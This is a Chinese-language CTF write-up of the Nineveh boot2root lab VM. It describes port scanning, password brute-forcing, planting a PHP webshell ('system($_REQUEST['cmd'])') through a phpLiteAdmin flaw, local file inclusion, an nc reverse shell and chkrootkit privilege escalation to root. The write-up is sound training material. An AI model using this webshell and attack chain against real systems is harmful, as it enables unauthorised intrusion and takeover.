靶机说明

NinevehV0.3.7z是一个难度为初级到中级的BooT2Root/CTF挑战。

VM虚机配置有静态IP地址(192.168.0.150)

目标

Boot to root:获得root权限,查看flag。

运行环境

  • 靶机:静态IP是192.168.0.150。
  • 攻击机:同网段下有kali攻击机(物理机),IP地址:192.168.0.128,安装有Nmap、Burpsuit、Wireshark、Sqlmap、nc、Python2.7、JDK、DirBuster、AWVS、Nessus等渗透工具,也可以使用windows攻击机。

信息收集

  • 端口服务识别

启动NinevehV0.3.7z虚拟机,由于IP已知,使用nmap扫描端口,并做服务识别和深度扫描(加-A参数),命令:

nmap -T4 -A -p 1-65535 192.168.0.150

发现只开放了80和443这2个端口,但是后面有一个ssl-cert 也就是ssl证书

比较敏感也就是443端口,

我们先访问   http://192.168.0.150

HTTP协议传输的数据都是未加密的,也就是明文的,因此使用HTTP协议传输隐私信息非常不安全,为了保证这些隐私数据能加密传输,于是网景公司设计了SSL(Secure Sockets Layer)协议用于对HTTP协议传输的数据进行加密,从而就诞生了HTTPS。
简单来说,HTTPS协议是由SSL+HTTP协议构建的可进行加密传输、身份认证的网络协议,要比http协议安全。

我们再访问   https://192.168.0.105

我们尝试扫描目录,大家在windows常用御剑,这里推荐kali下的dirb ,或者dirsearch.py脚本

dirsearch.py 具体脚本及其用法:http://www.freebuf.com/column/153277.html

我们先扫描  https://192.168.0.150

我们顺带扫描一波 http://192.168.0.150

综上所述,我们发现https有个 /db/ 目录,http 有个 /department/ 目录

我们先访问 /db/ 目录看看:

发现是个登陆页面,而且系统cms为  phpLiteAdmin v1.9  我们google hacker一把

发现存在远程php代码执行漏洞 :http://blog.51cto.com/penright/1116853

不过我们首先需要登陆进去,看来只有使用爆破了

我们用burpsuite抓包,加载字典,爆破

爆破得出密码为  password123  ,如果爆破不出来,只能说明你的字典不够强大

登陆进去后发现:

登陆成功后就按照爆出的漏洞payload开始尝试破解

先创建一个数据库 test.php

发现创建成功:

在test.php为扩展名的数据库中新建表a,并插入一句话代码<? php echo system($_REQUEST['cmd']); ?>

一切准备就绪,我们还差一个能触发的点,现在我们回头看这个 http  下的   /department 目录:

发现登陆框,我们先来一波弱口令,万能密码....发现失败,但是看源代码有了其他发现:

怀疑用户名是admin

根据页面回显的不同,确定是admin ,就剩密码的话。。。。爆破吧

爆破发现密码是  1q2w3e4r5t  ,这密码也是够新奇的

登陆:

我们分别点击几个栏目,当点到  notes  时

登录在  http://192.168.0.150/department/manage.php?notes=files/ninevehNotes.txt  是一个简单任意文件读取,但是这里的读取文件是被写入白名单里的,就是它只能读取结尾带   ‘   ninevehNotes   ’   的文件,测试如图:

这样的话,我们在数据库中插了一个马,如果能被远程文件包含利用,必须是  ninevehNotes  结尾的

这就需要我们修改数据库名:

这样的话,我们尝试文件包含,来执行我们的linux命令:

解析下来我们选择 nc监听端口 来getshell

反向shell获取参考 http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

将其转换成交互式的shell,方便运行su。在终端中执行:

python -c 'import pty;pty.spawn('/bin/bash')'    

python2没有spawn,我们使用python3

python3 -c 'import pty;pty.spawn("/bin/bash")'

我们需要设置tty 保证我们在nc shell 上与终端完全交互,以便使用所有功能(tab-complete,history,job control等):

参考:如何将简单的Shell转换成为完全交互式的TTY
http://www.52bug.cn/%E9%BB%91%E5%AE%A2%E6%8A%80%E6%9C%AF/3529.html

或者:
学习人家的方法,
用kali的msf来生成马,进而进行反弹shell

但是这个权限还算不够的,我们只能通过提权做进一步操作。大家肯定都直接想到脏牛提权了,但是本靶机没有这个漏洞,本菜在进行磁盘查看的时候,发现一个叫“/report”的文件夹,通过查看里面的文件发现是一个rootkit检测工具的实时报告文件,如图

本菜使用比较笨的方法,就是把所知道的关于rookit的检测工具都进行全盘搜索,最后定位到使用了“chkrootkit”,

通过查看其版本号和配置信息结合google搜索,发现一个本地提权漏洞,而MSF也已经有该利用脚本,如图:

通过该漏洞最终拿下来root权限并得到flag:

本靶机还可以通过获取ssh key 来提权,ssh key写在一个名叫“nineveh.png”图片内,如图:

14. CTF综合靶机渗透(七)的更多相关文章

  1. 22. CTF综合靶机渗透(十五)

    靶机说明: Game of Thrones Hacking CTF This is a challenge-game to measure your hacking skills. Set in Ga ...

  2. 21. CTF综合靶机渗透(十四)

    靶机说明: I created this machine to help others learn some basic CTF hacking strategies and some tools. ...

  3. 18. CTF综合靶机渗透(十一)

    靶机描述: SkyDog Con CTF 2016 - Catch Me If You Can 难度:初学者/中级 说明:CTF是虚拟机,在虚拟箱中工作效果最好.下载OVA文件打开虚拟框,然后选择文件 ...

  4. 17. CTF综合靶机渗透(十)

    靶机描述:欢迎来到超级马里奥主机!这个虚拟机是对真实世界场景场景的模拟.目标是在VM中找到2个标志.根是不够的(对不起!)VM可以以多种方式开发,但请记住枚举是关键.挑战的程度是中等的.感谢VDBAN ...

  5. 13. CTF综合靶机渗透(六)

    靶机说明 Breach1.0是一个难度为初级到中级的BooT2Root/CTF挑战. VM虚机配置有静态IP地址(192.168.110.140),需要将虚拟机网卡设置为host-only方式组网,并 ...

  6. 20. CTF综合靶机渗透(十三)

    靶机说明: Wellcome to "PwnLab: init", my first Boot2Root virtual machine. Meant to be easy, I ...

  7. 8. CTF综合靶机渗透(一)

    靶机说明 虚拟机难度中等,使用ubuntu(32位),其他软件包有: PHP apache MySQL 目标 Boot to root:从Web应用程序进入虚拟机,并获得root权限. 运行环境 靶机 ...

  8. 25. CTF综合靶机渗透(17)

    靶机链接 https://www.vulnhub.com/entry/the-ether-evilscience,212 运行环境 本靶机提供了VMware的镜像,从Vulnhub下载之后解压,运行v ...

  9. 19. CTF综合靶机渗透(十二)

    靶机说明: 靶机主题来自美剧<黑客军团> 本次靶机有三个flag,难度在初级到中级,非常适合新手训练学习,不需要逆向技术,目标就是找到三个key,并且拿到主机root权限. 渗透过程: 本 ...

随机推荐

  1. 第二十二篇、IO多路复用 一

    一.简介io多路复用 可以监听多个文件描述符(socket对象)(文件句柄),一旦文件句柄出现变化,就会感知到 Linux中的 select,poll,epoll(内核2.6以上) 都是IO多路复用的 ...

  2. 算法(Algorithms)第4版 练习 2.2.23

    测试结果: 算法(Algorithms)第4版 练习 2.2.10 算法(Algorithms)第4版 练习 2.2.11(1) 算法(Algorithms)第4版 练习 2.2.11(2) 算法(A ...

  3. python_unittest详解

    一 整体结构概览 unittest原名为PyUnit,是由java的JUnit衍生而来.对于单元测试,需要设置预先条件,对比预期结果和实际结果. 整体结构:unittest库提供了test cases ...

  4. php数组转换成js可用的数组的两种方式

    1.如果你理解JSON数据格式的话,这个问题就异常简单: <?php $a =array('1','2','3'); ?> <script language="javasc ...

  5. C++quickSort

    void QuickSort1(int *s,int left,int right){ int i,j,t,pivot; if(left>right) return; if(left<ri ...

  6. CodeForces Gym 100228 Graph of Inversions

    题目大意 对于一个长为$N$的序列$A$,定义它所对应的逆序图: 有$N$个点组成,标号为$1...N$的无向图,对于每一组$i,j(i<j)$若存在$A_i>A_j$则在新图中就存在一条 ...

  7. UML Design Via Visual Studio-Sequence Diagram

    本文主要介绍在Visual Studio中设计时序图,内容如下: 何时使用时序图 时序图元素介绍 条件.循环在时序图中的使用 直接通过代码生成时序图 一.何时使用时序图 当要查看单个用例内若干对象的行 ...

  8. 洛谷【P1619】 解一元二次方程的烦恼

    我对模拟的理解:https://www.cnblogs.com/AKMer/p/9064018.html 题目传送门:https://www.luogu.org/problemnew/show/P16 ...

  9. bzoj 3144 切糕 —— 最小割

    题目:https://www.lydsy.com/JudgeOnline/problem.php?id=3144 每个点拆成 R 个,连成一条链,边上是权值,割掉代表选这一层: 然后每个点的第 t 层 ...

  10. Spring 3.1新特性之四:p命名空间设置注入(待补充)

    https://www.ibm.com/developerworks/cn/java/j-lo-jparelated/ http://www.ibm.com/developerworks/cn/jav ...